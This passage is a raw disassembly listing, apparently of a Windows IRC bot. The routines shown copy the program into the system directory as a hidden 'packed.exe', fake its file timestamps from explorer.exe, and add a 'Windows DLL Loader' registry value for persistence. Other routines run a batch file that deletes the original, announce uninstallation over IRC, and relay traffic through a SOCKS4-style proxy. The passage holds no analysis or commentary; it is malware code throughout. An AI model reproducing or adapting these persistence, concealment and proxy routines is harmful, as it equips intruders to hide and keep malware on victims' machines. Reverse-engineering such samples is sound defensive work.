[ebp+var_214] add eax, [ebp+var_41C] movzx eax, byte ptr [eax] push eax push offset a02x ; "%02X" lea eax, [ebp+var_424] push eax call sub_416B5E ; sprintf add esp, 0Ch push [ebp+var_420] call sub_416B40 ; strlen pop ecx add eax, 3 cmp eax, 180h jb short loc_4069D1 push [ebp+var_420] push offset aS ; "%s" push [ebp+arg_0] call sub_40D53F add esp, 0Ch mov eax, [ebp+var_420] and byte ptr [eax], 0 loc_4069D1: ; CODE XREF: sub_406722+28Ej lea eax, [ebp+var_424] push eax push [ebp+var_420] call sub_416B70 ; strcat pop ecx pop ecx jmp loc_406960 ; --------------------------------------------------------------------------- loc_4069EA: ; CODE XREF: sub_406722+254j push [ebp+var_420] push offset aS ; "%s" push [ebp+arg_0] call sub_40D53F add esp, 0Ch push [ebp+var_420] call sub_416B4C ; free pop ecx loc_406A0C: ; CODE XREF: sub_406722+1CBj ; sub_406722+215j push [ebp+var_214] call sub_416B4C ; free pop ecx push [ebp+var_C] call ds:dword_417028 ; RegCloseKey locret_406A21: ; CODE XREF: sub_406722+Fj ; sub_406722+20j ... leave retn sub_406722 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406A23 proc near ; CODE XREF: sub_40D043:loc_40D18Dp ; sub_40D871:loc_40DB71p var_20C = byte ptr -20Ch var_108 = dword ptr -108h var_104 = byte ptr -104h push ebp mov ebp, esp sub esp, 20Ch push 104h lea eax, [ebp+var_20C] push eax call ds:dword_417050 ; GetSystemDirectoryA push offset asc_418DE4 ; "\\" lea eax, [ebp+var_20C] push eax call sub_416B70 ; strcat pop ecx pop ecx push offset dword_41DC40 lea eax, [ebp+var_104] push eax call sub_416B3A ; strcpy pop ecx pop ecx lea eax, [ebp+var_104] push eax call sub_4105FB pop ecx lea eax, [ebp+var_104] push eax lea eax, [ebp+var_20C] push eax call sub_416B70 ; strcat pop ecx pop ecx lea eax, [ebp+var_20C] push eax call ds:dword_4170AC ; DeleteFileA push offset dword_4182AC lea eax, [ebp+var_20C] push eax call sub_416B88 ; fopen pop ecx pop ecx mov [ebp+var_108], eax cmp [ebp+var_108], 0 jz short locret_406AE5 push [ebp+var_108] push 1 push 2 push offset asc_418DE0 ; ":)" call sub_416B7C ; fwrite add esp, 10h push [ebp+var_108] call sub_416B82 ; fclose pop ecx lea eax, [ebp+var_20C] push eax call sub_406B81 pop ecx locret_406AE5: ; CODE XREF: sub_406A23+90j leave retn sub_406A23 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406AE7 proc near ; CODE XREF: sub_40D043+13Dp ; sub_40D871+2F3p var_20C = byte ptr -20Ch var_108 = dword ptr -108h var_104 = byte ptr -104h push ebp mov ebp, esp sub esp, 20Ch push 104h lea eax, [ebp+var_20C] push eax call ds:dword_417050 ; GetSystemDirectoryA push offset asc_418DE4 ; "\\" lea eax, [ebp+var_20C] push eax call sub_416B70 ; strcat pop ecx pop ecx push offset dword_41DC40 lea eax, [ebp+var_104] push eax call sub_416B3A ; strcpy pop ecx pop ecx lea eax, [ebp+var_104] push eax call sub_4105FB pop ecx lea eax, [ebp+var_104] push eax lea eax, [ebp+var_20C] push eax call sub_416B70 ; strcat pop ecx pop ecx push offset aRb ; "rb" lea eax, [ebp+var_20C] push eax call sub_416B88 ; fopen pop ecx pop ecx mov [ebp+var_108], eax cmp [ebp+var_108], 0 jz short loc_406B7D push [ebp+var_108] call sub_416B82 ; fclose pop ecx push 1 pop eax jmp short locret_406B7F ; --------------------------------------------------------------------------- loc_406B7D: ; CODE XREF: sub_406AE7+83j xor eax, eax locret_406B7F: ; CODE XREF: sub_406AE7+94j leave retn sub_406AE7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406B81 proc near ; CODE XREF: sub_406A23+BCp ; sub_406E8E+246p var_120 = dword ptr -120h var_11C = byte ptr -11Ch var_18 = byte ptr -18h var_10 = byte ptr -10h var_8 = byte ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 120h push 104h lea eax, [ebp+var_11C] push eax call ds:dword_417040 ; GetWindowsDirectoryA push offset aExplorer_exe ; "\\explorer.exe" lea eax, [ebp+var_11C] push eax call sub_416B70 ; strcat pop ecx pop ecx push 0 push 80h push 3 push 0 push 1 push 80000000h lea eax, [ebp+var_11C] push eax call ds:dword_417044 ; CreateFileA mov [ebp+var_120], eax cmp [ebp+var_120], 0FFFFFFFFh jz short locret_406C4F lea eax, [ebp+var_10] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_18] push eax push [ebp+var_120] call ds:dword_417048 ; GetFileTime push [ebp+var_120] call ds:dword_4170A4 ; CloseHandle push 0 push 80h push 3 push 0 push 2 push 40000000h push [ebp+arg_0] call ds:dword_417044 ; CreateFileA mov [ebp+var_120], eax cmp [ebp+var_120], 0FFFFFFFFh jz short locret_406C4F lea eax, [ebp+var_10] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_18] push eax push [ebp+var_120] call ds:dword_41704C ; SetFileTime push [ebp+var_120] call ds:dword_4170A4 ; CloseHandle locret_406C4F: ; CODE XREF: sub_406B81+5Aj ; sub_406B81+A8j leave retn sub_406B81 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406C51 proc near ; CODE XREF: sub_406E8E+133p ; sub_406E8E+214p ... var_108 = byte ptr -108h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 108h push 0 lea eax, [ebp+var_4] push eax push 0 push 0F003Fh push 0 push 0 push 0 push offset aSoftwareMicros ; "Software\\Microsoft\\Windows\\CurrentVersi"... push 80000002h call ds:dword_417014 ; RegCreateKeyExA cmp [ebp+arg_0], 0 jz short loc_406CE1 push 104h lea eax, [ebp+var_108] push eax call ds:dword_417050 ; GetSystemDirectoryA push offset asc_418DE4 ; "\\" lea eax, [ebp+var_108] push eax call sub_416B70 ; strcat pop ecx pop ecx push [ebp+arg_8] lea eax, [ebp+var_108] push eax call sub_416B70 ; strcat pop ecx pop ecx lea eax, [ebp+var_108] push eax call ds:dword_41703C ; lstrlenA inc eax push eax lea eax, [ebp+var_108] push eax push 1 push 0 push [ebp+arg_4] push [ebp+var_4] call ds:dword_417010 ; RegSetValueExA jmp short loc_406CED ; --------------------------------------------------------------------------- loc_406CE1: ; CODE XREF: sub_406C51+30j push [ebp+arg_4] push [ebp+var_4] call ds:dword_417004 ; RegDeleteValueA loc_406CED: ; CODE XREF: sub_406C51+8Ej push [ebp+var_4] call ds:dword_417028 ; RegCloseKey leave retn sub_406C51 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406CF8 proc near ; CODE XREF: sub_406D47+2Bp ; sub_406E8E+253p ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch mov eax, [ebp+arg_0] mov [ebp+var_8], eax push [ebp+arg_0] call sub_416B40 ; strlen pop ecx mov [ebp+var_C], eax and [ebp+var_4], 0 jmp short loc_406D1D ; --------------------------------------------------------------------------- loc_406D16: ; CODE XREF: sub_406CF8:loc_406D40j mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_406D1D: ; CODE XREF: sub_406CF8+1Cj mov eax, [ebp+var_4] cmp eax, [ebp+var_C] jnb short loc_406D42 mov eax, [ebp+arg_0] add eax, [ebp+var_4] movsx eax, byte ptr [eax] cmp eax, 5Ch jnz short loc_406D40 mov eax, [ebp+var_4] mov ecx, [ebp+arg_0] lea eax, [ecx+eax+1] mov [ebp+var_8], eax loc_406D40: ; CODE XREF: sub_406CF8+39j jmp short loc_406D16 ; --------------------------------------------------------------------------- loc_406D42: ; CODE XREF: sub_406CF8+2Bj mov eax, [ebp+var_8] leave retn sub_406CF8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406D47 proc near ; CODE XREF: sub_406E8E+9p ; sub_407148+9p var_108 = byte ptr -108h var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 108h push 104h lea eax, [ebp+var_108] push eax push 0 call ds:dword_41708C ; GetModuleHandleA push eax call ds:dword_417090 ; GetModuleFileNameA lea eax, [ebp+var_108] push eax call sub_406CF8 pop ecx mov [ebp+var_4], eax mov eax, [ebp+var_4] and byte ptr [eax], 0 lea eax, [ebp+var_108] push eax call ds:dword_417038 ; SetCurrentDirectoryA leave retn sub_406D47 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406D90 proc near ; CODE XREF: sub_406E8E+25Ap ; sub_407148+168p ... var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = byte ptr -18h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 28h push 8 push 4 call sub_4103F5 pop ecx pop ecx mov [ebp+var_20], eax and [ebp+var_1C], 0 loc_406DA8: ; CODE XREF: sub_406D90:loc_406DDFj push 7Ah push 61h call sub_4103F5 pop ecx pop ecx mov ecx, [ebp+var_1C] mov [ebp+ecx+var_18], al mov eax, [ebp+var_1C] inc eax mov [ebp+var_1C], eax mov eax, [ebp+var_1C] cmp eax, [ebp+var_20] jnz short loc_406DDF push offset a_bat ; ".bat" mov eax, [ebp+var_1C] lea eax, [ebp+eax+var_18] push eax call sub_416B3A ; strcpy pop ecx pop ecx jmp short loc_406DE1 ; --------------------------------------------------------------------------- loc_406DDF: ; CODE XREF: sub_406D90+37j jmp short loc_406DA8 ; --------------------------------------------------------------------------- loc_406DE1: ; CODE XREF: sub_406D90+4Dj push [ebp+arg_0] call sub_416B40 ; strlen pop ecx mov [ebp+var_8], eax push 400h call sub_416B46 ; malloc pop ecx mov [ebp+var_24], eax lea eax, [ebp+var_18] push eax call ds:dword_4170AC ; DeleteFileA push 0 push 0 push 2 push 0 push 0 push 40000000h lea eax, [ebp+var_18] push eax call ds:dword_417044 ; CreateFileA mov [ebp+var_28], eax cmp [ebp+var_28], 0FFFFFFFFh jnz short loc_406E2B xor eax, eax jmp short locret_406E8C ; --------------------------------------------------------------------------- loc_406E2B: ; CODE XREF: sub_406D90+95j lea eax, [ebp+var_18] push eax push [ebp+arg_0] push [ebp+arg_0] push [ebp+arg_0] push offset a@echoOffDelete ; "@echo off\r\n:deleteagain\r\ndel /A:H /F %s"... push [ebp+var_24] call ds:dword_4171E0 ; wsprintfA add esp, 18h and [ebp+var_4], 0 push 0 lea eax, [ebp+var_4] push eax push [ebp+var_24] call sub_416B40 ; strlen pop ecx push eax push [ebp+var_24] push [ebp+var_28] call ds:dword_417068 ; WriteFile push [ebp+var_28] call ds:dword_4170A4 ; CloseHandle push 0 push 0 push 0 lea eax, [ebp+var_18] push eax push offset aOpen ; "open" push 0 call ds:dword_4171D0 ; ShellExecuteA push 1 pop eax locret_406E8C: ; CODE XREF: sub_406D90+99j leave retn sub_406D90 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406E8E proc near ; CODE XREF: .text:loc_4169E1p var_368 = dword ptr -368h var_338 = word ptr -338h var_324 = byte ptr -324h var_220 = dword ptr -220h var_21C = byte ptr -21Ch var_118 = byte ptr -118h var_14 = dword ptr -14h var_10 = byte ptr -10h push ebp mov ebp, esp sub esp, 368h call sub_406D47 push 104h lea eax, [ebp+var_324] push eax push 0 call ds:dword_41708C ; GetModuleHandleA push eax call ds:dword_417090 ; GetModuleFileNameA and [ebp+var_14], 0 and [ebp+var_220], 0 jmp short loc_406ED1 ; --------------------------------------------------------------------------- loc_406EC4: ; CODE XREF: sub_406E8E:loc_406FF8j mov eax, [ebp+var_220] inc eax mov [ebp+var_220], eax loc_406ED1: ; CODE XREF: sub_406E8E+34j mov eax, [ebp+var_220] shl eax, 1 cmp off_418B88[eax*4], 0 jz loc_406FFD mov eax, [ebp+var_14] inc eax mov [ebp+var_14], eax push 104h lea eax, [ebp+var_21C] push eax call ds:dword_417050 ; GetSystemDirectoryA push offset asc_418DE4 ; "\\" lea eax, [ebp+var_21C] push eax call sub_416B70 ; strcat pop ecx pop ecx mov eax, [ebp+var_220] shl eax, 1 push off_418B88[eax*4] call sub_4105FB pop ecx mov eax, [ebp+var_220] shl eax, 1 push off_418B88[eax*4] lea eax, [ebp+var_21C] push eax call sub_416B70 ; strcat pop ecx pop ecx mov eax, [ebp+var_220] shl eax, 1 push off_418B88[eax*4] call sub_4105AD pop ecx lea eax, [ebp+var_324] push eax lea eax, [ebp+var_21C] push eax call sub_416F74 ; _stricmp pop ecx pop ecx test eax, eax jnz loc_406FF8 mov eax, [ebp+var_220] shl eax, 1 push off_418B88[eax*4] call sub_4105FB pop ecx mov eax, [ebp+var_220] shl eax, 1 push off_418B8C[eax*4] call sub_4105FB pop ecx mov eax, [ebp+var_220] shl eax, 1 push off_418B88[eax*4] mov eax, [ebp+var_220] shl eax, 1 push off_418B8C[eax*4] push 1 call sub_406C51 add esp, 0Ch mov eax, [ebp+var_220] shl eax, 1 push off_418B88[eax*4] call sub_4105AD pop ecx mov eax, [ebp+var_220] shl eax, 1 push off_418B8C[eax*4] call sub_4105AD pop ecx jmp locret_407146 ; --------------------------------------------------------------------------- loc_406FF8: ; CODE XREF: sub_406E8E+E3j jmp loc_406EC4 ; --------------------------------------------------------------------------- loc_406FFD: ; CODE XREF: sub_406E8E+53j push [ebp+var_14] push 0 call sub_4103F5 pop ecx pop ecx mov [ebp+var_14], eax push 104h lea eax, [ebp+var_118] push eax call ds:dword_417050 ; GetSystemDirectoryA push offset asc_418DE4 ; "\\" lea eax, [ebp+var_118] push eax call sub_416B70 ; strcat pop ecx pop ecx mov eax, [ebp+var_14] shl eax, 1 push off_418B88[eax*4] call sub_4105FB pop ecx mov eax, [ebp+var_14] shl eax, 1 push off_418B88[eax*4] lea eax, [ebp+var_118] push eax call sub_416B70 ; strcat pop ecx pop ecx mov eax, [ebp+var_14] shl eax, 1 push off_418B88[eax*4] call sub_4105AD pop ecx lea eax, [ebp+var_118] push eax call ds:dword_4170AC ; DeleteFileA loc_40707C: ; DATA XREF: .data:0041AD4Co ; .data:0041AD60o ... push 0 lea eax, [ebp+var_118] push eax lea eax, [ebp+var_324] push eax call ds:dword_417060 ; CopyFileA test eax, eax jnz short loc_4070AF push offset aPacked_exe ; "packed.exe" push offset aWindowsDllLoad ; "Windows DLL Loader" push 1 call sub_406C51 add esp, 0Ch jmp locret_407146 ; --------------------------------------------------------------------------- loc_4070AF: ; CODE XREF: sub_406E8E+206j push 4 lea eax, [ebp+var_118] push eax call ds:dword_4170A8 ; SetFileAttributesA push 2 lea eax, [ebp+var_118] push eax call ds:dword_4170A8 ; SetFileAttributesA lea eax, [ebp+var_118] push eax call sub_406B81 pop ecx lea eax, [ebp+var_324] push eax call sub_406CF8 pop ecx push eax call sub_406D90 pop ecx push 44h push 0 lea eax, [ebp+var_368] push eax call sub_416B6A ; memset add esp, 0Ch mov [ebp+var_368], 44h and [ebp+var_338], 0 lea eax, [ebp+var_10] push eax lea eax, [ebp+var_368] push eax push 0 push 0 push 28h push 1 push 0 push 0 lea eax, [ebp+var_118] push eax push 0 call ds:dword_41707C ; CreateProcessA call ds:dword_417254 ; WSACleanup push 0 call sub_416BFC ; exit locret_407146: ; CODE XREF: sub_406E8E+165j ; sub_406E8E+21Cj leave retn sub_406E8E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407148 proc near ; CODE XREF: sub_402A32+7BBp ; sub_40A9CF+145Fp ... var_20C = byte ptr -20Ch var_108 = dword ptr -108h var_104 = byte ptr -104h push ebp mov ebp, esp sub esp, 20Ch call sub_406D47 push 104h lea eax, [ebp+var_20C] push eax push 0 call ds:dword_41708C ; GetModuleHandleA push eax call ds:dword_417090 ; GetModuleFileNameA and [ebp+var_108], 0 jmp short loc_407187 ; --------------------------------------------------------------------------- loc_40717A: ; CODE XREF: sub_407148:loc_4072DBj mov eax, [ebp+var_108] inc eax mov [ebp+var_108], eax loc_407187: ; CODE XREF: sub_407148+30j mov eax, [ebp+var_108] shl eax, 1 cmp off_418B88[eax*4], 0 jz loc_4072E0 push 104h lea eax, [ebp+var_104] push eax call ds:dword_417050 ; GetSystemDirectoryA push offset asc_418DE4 ; "\\" lea eax, [ebp+var_104] push eax call sub_416B70 ; strcat pop ecx pop ecx mov eax, [ebp+var_108] shl eax, 1 push off_418B88[eax*4] call sub_4105FB pop ecx mov eax, [ebp+var_108] shl eax, 1 push off_418B88[eax*4] lea eax, [ebp+var_104] push eax call sub_416B70 ; strcat pop ecx pop ecx mov eax, [ebp+var_108] shl eax, 1 push off_418B88[eax*4] call sub_4105AD pop ecx lea eax, [ebp+var_20C] push eax lea eax, [ebp+var_104] push eax call sub_416F74 ; _stricmp pop ecx pop ecx test eax, eax jnz loc_4072DB mov eax, [ebp+var_108] shl eax, 1 push off_418B88[eax*4] call sub_4105FB pop ecx mov eax, [ebp+var_108] shl eax, 1 push off_418B8C[eax*4] call sub_4105FB pop ecx mov eax, [ebp+var_108] shl eax, 1 push off_418B88[eax*4] mov eax, [ebp+var_108] shl eax, 1 push off_418B8C[eax*4] push 0 call sub_406C51 add esp, 0Ch mov eax, [ebp+var_108] shl eax, 1 push off_418B88[eax*4] call sub_4105AD pop ecx mov eax, [ebp+var_108] shl eax, 1 push off_418B8C[eax*4] call sub_4105AD pop ecx lea eax, [ebp+var_20C] push eax call sub_406CF8 pop ecx push eax call sub_406D90 pop ecx test eax, eax jz short loc_4072D9 push offset aPacked_exe ; "packed.exe" push offset aQuitSUninstall ; "QUIT :%s uninstalled." call sub_40D6CB pop ecx pop ecx call ds:dword_417254 ; WSACleanup push 0 call ds:dword_41705C ; ExitProcess loc_4072D9: ; CODE XREF: sub_407148+170j jmp short locret_40732B ; --------------------------------------------------------------------------- loc_4072DB: ; CODE XREF: sub_407148+D8j jmp loc_40717A ; --------------------------------------------------------------------------- loc_4072E0: ; CODE XREF: sub_407148+4Fj push offset aPacked_exe ; "packed.exe" push offset aWindowsDllLoad ; "Windows DLL Loader" push 0 call sub_406C51 add esp, 0Ch lea eax, [ebp+var_20C] push eax call sub_406CF8 pop ecx push eax call sub_406D90 pop ecx test eax, eax jz short locret_40732B push offset aPacked_exe ; "packed.exe" push offset aQuitSUninstall ; "QUIT :%s uninstalled." call sub_40D6CB pop ecx pop ecx call ds:dword_417254 ; WSACleanup push 0 call ds:dword_41705C ; ExitProcess locret_40732B: ; CODE XREF: sub_407148:loc_4072D9j ; sub_407148+1C2j leave retn sub_407148 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40732D proc near ; DATA XREF: sub_40764D+145o var_16F0 = dword ptr -16F0h var_16EC = dword ptr -16ECh var_16E8 = dword ptr -16E8h var_16E4 = dword ptr -16E4h var_16E0 = byte ptr -16E0h var_6E0 = byte ptr -6E0h var_5E0 = dword ptr -5E0h var_5DC = byte ptr -5DCh var_5D4 = dword ptr -5D4h var_5D0 = byte ptr -5D0h var_5CF = byte ptr -5CFh var_5CE = dword ptr -5CEh var_5C8 = byte ptr -5C8h var_1C8 = dword ptr -1C8h var_1BE = byte ptr -1BEh var_1AE = byte ptr -1AEh var_1B = byte ptr -1Bh var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 16F0h call sub_416BC0 push 1BDh push [ebp+arg_0] lea eax, [ebp+var_1C8] push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_0] call sub_416B4C ; free pop ecx mov eax, [ebp+var_1C8] mov [ebp+var_5D4], eax push 0 push 408h lea eax, [ebp+var_5D0] push eax push [ebp+var_5D4] call ds:dword_417248 ; recv mov [ebp+var_8], eax cmp [ebp+var_8], 0 jz short loc_40738F cmp [ebp+var_8], 0FFFFFFFFh jnz short loc_407396 loc_40738F: ; CODE XREF: sub_40732D+5Aj xor eax, eax jmp locret_407649 ; --------------------------------------------------------------------------- loc_407396: ; CODE XREF: sub_40732D+60j movzx eax, [ebp+var_5D0] cmp eax, 4 jnz short loc_4073BA movzx eax, [ebp+var_5CF] cmp eax, 1 jnz short loc_4073BA mov [ebp+var_16EC], 1 jmp short loc_4073C1 ; --------------------------------------------------------------------------- loc_4073BA: ; CODE XREF: sub_40732D+73j ; sub_40732D+7Fj and [ebp+var_16EC], 0 loc_4073C1: ; CODE XREF: sub_40732D+8Bj mov eax, [ebp+var_16EC] mov [ebp+var_4], eax movsx eax, [ebp+var_1BE] test eax, eax jz short loc_4073F5 push 10h lea eax, [ebp+var_1BE] push eax lea eax, [ebp+var_5C8] push eax call sub_416BF0 ; strncmp add esp, 0Ch test eax, eax jz short loc_4073F5 and [ebp+var_4], 0 loc_4073F5: ; CODE XREF: sub_40732D+A6j ; sub_40732D+C2j movsx eax, [ebp+var_1B] test eax, eax jz short loc_407456 lea eax, [ebp+var_6E0] push eax push [ebp+var_5D4] call sub_4044F7 pop ecx pop ecx cmp [ebp+var_4], 0 jz short loc_407423 mov [ebp+var_16F0], offset byte_41DE30 jmp short loc_40742D ; --------------------------------------------------------------------------- loc_407423: ; CODE XREF: sub_40732D+E8j mov [ebp+var_16F0], offset aRejected ; " rejected" loc_40742D: ; CODE XREF: sub_40732D+F4j push [ebp+var_16F0] movzx eax, [ebp+var_5D0] push eax lea eax, [ebp+var_6E0] push eax push offset dword_418EB8 lea eax, [ebp+var_1AE] push eax call sub_40D53F add esp, 14h loc_407456: ; CODE XREF: sub_40732D+CEj cmp [ebp+var_4], 0 jnz short loc_4074A0 push 8 push 0 lea eax, [ebp+var_5D0] push eax call sub_416B6A ; memset add esp, 0Ch mov [ebp+var_5CF], 5Bh push 8 lea eax, [ebp+var_5D0] push eax push [ebp+var_5D4] call sub_4053BF add esp, 0Ch push [ebp+var_5D4] call sub_40538D pop ecx xor eax, eax jmp locret_407649 ; --------------------------------------------------------------------------- loc_4074A0: ; CODE XREF: sub_40732D+12Dj push 0Ah lea eax, [ebp+var_5DC] push eax push [ebp+var_5CE] call ds:dword_417238 ; ntohs movzx eax, ax push eax call sub_416F7A ; _itoa add esp, 0Ch push 2710h push 0 lea eax, [ebp+var_5DC] push eax push [ebp+var_5CE+2] call ds:dword_41721C ; inet_ntoa push eax call sub_4050EA add esp, 10h mov [ebp+var_5E0], eax push 8 push 0 lea eax, [ebp+var_5D0] push eax call sub_416B6A ; memset add esp, 0Ch cmp [ebp+var_5E0], 0 jnz short loc_407537 mov [ebp+var_5CF], 5Bh push 8 lea eax, [ebp+var_5D0] push eax push [ebp+var_5D4] call sub_4053BF add esp, 0Ch push [ebp+var_5D4] call sub_40538D pop ecx xor eax, eax jmp locret_407649 ; --------------------------------------------------------------------------- loc_407537: ; CODE XREF: sub_40732D+1D7j mov [ebp+var_5CF], 5Ah push 8 lea eax, [ebp+var_5D0] push eax push [ebp+var_5D4] call sub_4053BF add esp, 0Ch loc_407555: ; CODE XREF: sub_40732D+2FDj push [ebp+var_5D4] call sub_40447B pop ecx test eax, eax jz short loc_4075BD push 0 push 1000h lea eax, [ebp+var_16E0] push eax push [ebp+var_5D4] call ds:dword_417248 ; recv mov [ebp+var_16E4], eax cmp [ebp+var_16E4], 0 jz short loc_407597 cmp [ebp+var_16E4], 0FFFFFFFFh jnz short loc_40759C loc_407597: ; CODE XREF: sub_40732D+25Fj jmp loc_40762F ; --------------------------------------------------------------------------- loc_40759C: ; CODE XREF: sub_40732D+268j push [ebp+var_16E4] lea eax, [ebp+var_16E0] push eax push [ebp+var_5E0] call sub_4053BF add esp, 0Ch test eax, eax jnz short loc_4075BD jmp short loc_40762F ; --------------------------------------------------------------------------- loc_4075BD: ; CODE XREF: sub_40732D+236j ; sub_40732D+28Cj push [ebp+var_5E0] call sub_40447B pop ecx test eax, eax jz short loc_407622 push 0 push 1000h lea eax, [ebp+var_16E0] push eax push [ebp+var_5E0] call ds:dword_417248 ; recv mov [ebp+var_16E8], eax cmp [ebp+var_16E8], 0 jz short loc_4075FF cmp [ebp+var_16E8], 0FFFFFFFFh jnz short loc_407601 loc_4075FF: ; CODE XREF: sub_40732D+2C7j jmp short loc_40762F ; --------------------------------------------------------------------------- loc_407601: ; CODE XREF: sub_40732D+2D0j push [ebp+var_16E8] lea eax, [ebp+var_16E0] push eax push [ebp+var_5D4] call sub_4053BF add esp, 0Ch test eax, eax jnz short loc_407622 jmp short loc_40762F ; --------------------------------------------------------------------------- loc_407622: ; CODE XREF: sub_40732D+29Ej ; sub_40732D+2F1j push 32h call ds:dword_41709C ; Sleep jmp loc_407555 ; --------------------------------------------------------------------------- loc_40762F: ; CODE XREF: sub_40732D:loc_407597j ; sub_40732D+28Ej ... push [ebp+var_5D4] call sub_40538D pop ecx push [ebp+var_5E0] call sub_40538D pop ecx xor eax, eax locret_407649: ; CODE XREF: sub_40732D+64j ; sub_40732D+16Ej ... leave retn 4 sub_40732D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40764D proc near ; DATA XREF: sub_4077DD+B4o var_1CC = dword ptr -1CCh var_1C8 = dword ptr -1C8h var_1C4 = dword ptr -1C4h var_1C0 = dword ptr -1C0h var_1BC = byte ptr -1BCh var_1B6 = byte ptr -1B6h var_1A6 = byte ptr -1A6h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1CCh push 1BDh push [ebp+arg_0] lea eax, [ebp+var_1C0] push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_0] call sub_416B4C ; free pop ecx push 1 lea eax, [ebp+var_1BC] push eax call sub_4046BC pop ecx pop ecx mov [ebp+var_1C4], eax cmp [ebp+var_1C4], 0 jnz short loc_4076A8 push [ebp+var_1C0] call sub_409763 pop ecx xor eax, eax jmp locret_4077D9 ; --------------------------------------------------------------------------- loc_4076A8: ; CODE XREF: sub_40764D+46j lea eax, [ebp+var_1BC] push eax mov eax, [ebp+var_1C0] push dword ptr [eax] push offset dword_418EF8 lea eax, [ebp+var_1A6] push eax call sub_40D53F add esp, 10h loc_4076CB: ; CODE XREF: sub_40764D+B9j ; sub_40764D+E1j ... push 3E8h push [ebp+var_1C4] call sub_4048EF pop ecx pop ecx mov [ebp+var_1C8], eax mov eax, [ebp+var_1C0] cmp dword ptr [eax+4], 0 jnz short loc_4076F8 cmp [ebp+var_1C8], 0 jnz short loc_4076FD loc_4076F8: ; CODE XREF: sub_40764D+A0j jmp loc_4077BF ; --------------------------------------------------------------------------- loc_4076FD: ; CODE XREF: sub_40764D+A9j cmp [ebp+var_1C8], 0FFFFFFFFh jnz short loc_407708 jmp short loc_4076CB ; --------------------------------------------------------------------------- loc_407708: ; CODE XREF: sub_40764D+B7j push 1BDh call sub_416B46 ; malloc pop ecx mov [ebp+var_1CC], eax cmp [ebp+var_1CC], 0 jnz short loc_407730 push [ebp+var_1C8] call sub_4053B1 pop ecx jmp short loc_4076CB ; --------------------------------------------------------------------------- loc_407730: ; CODE XREF: sub_40764D+D3j mov eax, [ebp+var_1CC] mov ecx, [ebp+var_1C8] mov [eax], ecx lea eax, [ebp+var_1BC] push eax mov eax, [ebp+var_1CC] add eax, 4 push eax call sub_416B3A ; strcpy pop ecx pop ecx lea eax, [ebp+var_1B6] push eax mov eax, [ebp+var_1CC] add eax, 0Ah push eax call sub_416B3A ; strcpy pop ecx pop ecx push 1A3h lea eax, [ebp+var_1A6] push eax mov eax, [ebp+var_1CC] add eax, 1Ah push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+var_1CC] push offset sub_40732D call sub_409479 pop ecx pop ecx test eax, eax jnz short loc_4077BA push [ebp+var_1CC] call sub_416B4C ; free pop ecx push [ebp+var_1C8] call sub_4053B1 pop ecx loc_4077BA: ; CODE XREF: sub_40764D+153j jmp loc_4076CB ; --------------------------------------------------------------------------- loc_4077BF: ; CODE XREF: sub_40764D:loc_4076F8j push [ebp+var_1C4] call sub_404CBB pop ecx push [ebp+var_1C0] call sub_409763 pop ecx xor eax, eax locret_4077D9: ; CODE XREF: sub_40764D+56j leave retn 4 sub_40764D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4077DD proc near ; CODE XREF: sub_40A9CF+17Ap var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = byte ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 10h cmp [ebp+arg_4], 0 jnz short loc_40780F push 0Ah lea eax, [ebp+var_8] push eax push 0FFFFh push 401h call sub_4103F5 pop ecx pop ecx push eax call sub_416F7A ; _itoa add esp, 0Ch lea eax, [ebp+var_8] mov [ebp+arg_4], eax loc_40780F: ; CODE XREF: sub_4077DD+Aj push 1BDh call sub_416B46 ; malloc pop ecx mov [ebp+var_C], eax cmp [ebp+var_C], 0 jnz short loc_407825 jmp short locret_40789E ; --------------------------------------------------------------------------- loc_407825: ; CODE XREF: sub_4077DD+44j push [ebp+arg_4] mov eax, [ebp+var_C] add eax, 4 push eax call sub_416B3A ; strcpy pop ecx pop ecx cmp [ebp+arg_8], 0 jz short loc_407844 mov eax, [ebp+arg_8] mov [ebp+var_10], eax jmp short loc_40784B ; --------------------------------------------------------------------------- loc_407844: ; CODE XREF: sub_4077DD+5Dj mov [ebp+var_10], offset byte_41DE30 loc_40784B: ; CODE XREF: sub_4077DD+65j push 10h push [ebp+var_10] mov eax, [ebp+var_C] add eax, 0Ah push eax call sub_407A56 add esp, 0Ch push 1A3h push [ebp+arg_0] mov eax, [ebp+var_C] add eax, 1Ah push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_4] push offset dword_418F2C mov eax, [ebp+arg_0] movsx eax, byte ptr 